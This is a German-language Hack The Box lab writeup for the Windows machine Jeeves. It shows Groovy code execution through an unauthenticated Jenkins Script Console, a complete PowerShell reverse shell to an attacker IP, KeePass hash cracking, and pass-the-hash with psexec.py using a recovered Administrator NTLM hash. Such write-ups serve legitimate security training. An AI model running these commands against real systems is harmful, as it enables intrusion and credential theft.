HTB · published
Jeeves
Hack The Box CPTS-Track Writeup für Jeeves: Jenkins Script Console RCE, KeePass Credential Recovery, Pass-the-Hash und Root-Flag in Alternate Data Streams.
Metadaten
- Name: Jeeves
- IP Address:
10.129.228.112 - Plattform: Windows
- Kategorie: Web / Jenkins / KeePass / Pass-the-Hash / Alternate Data Streams
- Schwierigkeit: Medium
- Ziel(e): User, Administrator / Root
- Kurzbeschreibung: Jeeves ist eine Windows-Maschine, bei der der Einstieg über eine ungeschützte Jenkins-Instanz auf Port
50000erfolgt. Über die Jenkins Script Console wird Code als Benutzerkohsukeausgeführt und eine Reverse Shell gestartet. Nach der Enumeration wird eine KeePass-Datenbank gefunden und gecrackt. Daraus ergibt sich ein Administrator-Hash, der per Pass-the-Hash genutzt wird. Die Root-Flag liegt nicht direkt inhm.txt, sondern in einem Alternate Data Stream.
Reconnaissance / Enumeration
Der initiale Full-Port-Scan zeigte vier offene TCP-Ports:
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
50000/tcp open ibm-db2
Der Service-Scan ordnete die Dienste genauer ein:
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds
50000/tcp open http Jetty 9.4.z-SNAPSHOT
Wichtige Beobachtungen:
Host: JEEVES
OS: Windows
SMB signing: not required
Clock skew: +5 hours
Port 80 title: Ask Jeeves
Port 50000: Jetty 9.4.z-SNAPSHOT
Port 80 zeigte nur die normale Ask-Jeeves-Seite. Interessanter war Port 50000, da Jetty häufig Jenkins-Webapps hostet.
Web Enumeration
Auf Port 50000 wurde mit ffuf enumeriert:
ffuf -u http://jeeves.htb:50000/FUZZ \
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
Der entscheidende Treffer:
askjeeves [Status: 302]
Die Jenkins-Instanz war erreichbar unter:
http://jeeves.htb:50000/askjeeves/
Besonders wichtig war die Script Console:
http://jeeves.htb:50000/askjeeves/script
Diese war ohne Authentifizierung nutzbar und ermöglichte Groovy-Codeausführung.
Initial Code Execution
In der Jenkins Script Console wurde zunächst der aktuelle Kontext geprüft:
println "whoami /all".execute().text
Ausgabe:
User Name SID
============== ===========================================
jeeves\kohsuke S-1-5-21-2851396806-8246019-2289784878-1001
Wichtige Privileges:
SeImpersonatePrivilege Enabled
SeCreateGlobalPrivilege Enabled
Damit war bestätigt: Jenkins führt Befehle als lokaler Benutzer kohsuke aus.
Foothold: Reverse Shell
Über die Script Console wurde eine PowerShell-Reverse-Shell gestartet:
def cmd = """
powershell -nop -w hidden -c "
\\$c=New-Object System.Net.Sockets.TCPClient('10.10.15.136',443);
\\$s=\\$c.GetStream();
[byte[]]\\$b=0..65535|%{0};
while((\\$i=\\$s.Read(\\$b,0,\\$b.Length)) -ne 0){
\\$d=(New-Object Text.ASCIIEncoding).GetString(\\$b,0,\\$i);
\\$r=(iex \\$d 2>&1 | Out-String);
\\$r2=\\$r+'PS '+(pwd).Path+'> ';
\\$sb=([text.encoding]::ASCII).GetBytes(\\$r2);
\\$s.Write(\\$sb,0,\\$sb.Length); \\$s.Flush()
}"
"""
cmd.execute()
Listener:
nc -lnvp 443
Eingehende Verbindung:
connect to [10.10.15.136] from (UNKNOWN) [10.129.228.112] 49676
PS C:\Users\Administrator\.jenkins>
User Flag
Die User-Flag lag auf dem Desktop von kohsuke:
type C:\Users\kohsuke\Desktop\user.txt
e3232[REDACTED-USER-FLAG]066a
Local Enumeration
winPEAS bestätigte das System:
Host Name: JEEVES
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.10586 Build 10586
Domain: WORKGROUP
System Type: x64-based PC
Der User-Kontext hatte SeImpersonatePrivilege, wodurch Exploits wie PrintSpoofer/Juicy/RoguePotato grundsätzlich interessant waren:
SeImpersonatePrivilege Impersonate a client after authentication Enabled
Dieser Weg wurde notiert, aber der erfolgreiche Pfad lief über KeePass-Credentials.
KeePass Database
Bei der Enumeration wurde eine KeePass-Datenbank gefunden:
CEH.kdbx
Der Hash wurde mit keepass2john extrahiert:
keepass2john CEH.kdbx > hash.txt
Beispielausgabe:
CEH:$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*...
Das Passwort der KeePass-Datenbank wurde gecrackt:
moonshine1
In der Datenbank befand sich ein Administrator-NTLM-Hash:
Administrator NTLM: e0fb1fb85756c24235ff238cbe81fe00
Pass-the-Hash als Administrator
Der Hash wurde zuerst mit NetExec gegen SMB validiert:
netexec smb 10.129.228.112 \
-u Administrator \
-H aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
Ergebnis:
SMB 10.129.228.112 445 JEEVES [+] Jeeves\Administrator:e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)
Danach wurde mit Impacket psexec.py eine Administrator-Shell geöffnet:
python3 psexec.py administrator@10.129.228.112 \
-hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
Erfolgreiche Shell:
Microsoft Windows [Version 10.0.10586]
C:\Windows\system32>
Root Flag: Alternate Data Stream
Auf dem Administrator-Desktop lag zunächst nur eine Datei hm.txt:
dir C:\Users\Administrator\Desktop\
12/24/2017 02:51 AM 36 hm.txt
11/08/2017 09:05 AM 797 Windows 10 Update Assistant.lnk
Der Inhalt war ein Hinweis:
type C:\Users\Administrator\Desktop\hm.txt
The flag is elsewhere. Look deeper.
Der Trick war ein Alternate Data Stream. Mit /R wurden Streams sichtbar:
dir /R C:\Users\Administrator\Desktop\
12/24/2017 02:51 AM 36 hm.txt
34 hm.txt:root.txt:$DATA
Die Root-Flag wurde aus dem ADS gelesen:
more < C:\Users\Administrator\Desktop\hm.txt:root.txt
afbc5[REDACTED-ROOT-FLAG]2530
Alternative Paths / Rabbit Holes
SeImpersonatePrivilegewar aktiv und machte PrintSpoofer/Juicy/RoguePotato interessant.- PrintSpoofer wurde vorbereitet, war aber für den finalen Weg nicht nötig.
- Die eigentliche Eskalation gelang über KeePass und Pass-the-Hash.
- Die sichtbare
hm.txtwar nicht die Flag, sondern nur ein Hinweis auf Alternate Data Streams.
Post-Exploitation
- Foothold: Jenkins Script Console auf
http://jeeves.htb:50000/askjeeves/script. - User: Reverse Shell als
jeeves\kohsuke. - User-Flag:
C:\Users\kohsuke\Desktop\user.txt. - Credential Recovery: KeePass-Datenbank
CEH.kdbx, Passwortmoonshine1. - Admin: Administrator-NTLM-Hash per Pass-the-Hash mit
psexec.py. - Root-Flag: ADS
hm.txt:root.txt.
Lessons Learned
- Unprotected Jenkins ist kritisch: Script Console bedeutet direkte Codeausführung.
- Port 50000 nicht ignorieren: Jetty auf einem ungewöhnlichen Port war der eigentliche Einstieg.
- KeePass-Dateien sind High-Value Loot: Ein
.kdbxkann den kompletten PrivEsc-Pfad enthalten. - Pass-the-Hash bleibt stark: Ein NTLM-Hash reicht oft für SMB/Admin-Zugriff.
- Windows ADS prüfen:
dir /Rist Pflicht, wenn Hinweise wie “Look deeper” auftauchen.
Notizen
Jeeves ist eine sehr gute CPTS-Track-Maschine, weil sie mehrere Themen sauber verbindet: Web-Enumeration, Jenkins RCE, Windows-Enumeration, Credential Recovery aus KeePass, Pass-the-Hash und Alternate Data Streams.